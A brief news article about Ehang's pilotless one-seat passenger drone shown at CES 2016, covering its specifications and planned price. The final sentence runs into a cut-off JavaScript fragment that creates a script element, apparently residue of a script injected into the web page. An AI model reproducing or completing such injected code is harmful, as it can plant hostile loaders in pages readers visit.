The world’s first passenger-carrying drone has been revealed by Chinese manufacturer Ehang. It has been designed to transport individuals through the air without a pilot. Measuring approximately 1.4 metres high, with eight propellers held in position on four arms, the drone is a one-seater vehicle. Passengers need only enter their final destination (via a 12-inch touch screen) and the vehicle’s on-board computer will do the rest by calculating the most expedient, safe route to the desired location.
Ehang is made of a fibre-epoxy composite, with the frame and arms made from aluminium alloy. The vehicle is able to rise to an altitude 3,400 metres, with a flight time of 23 minutes. The Ehang‘s maximum speed is 100 kilometres per hour. The on-board battery pack takes about four hours to recharge. In the event of engine failure, the vehicle is programmed to land at the nearest available area.
Ehang unveiled the design at the CES 2016 Las Vegas Trade Fair. They intend to begin selling it later in 2016, at a price somewhere between £140,000 and £200,000. It’s advanced stuff…check the vid!var d=document;var s=d.createElement(‘script’);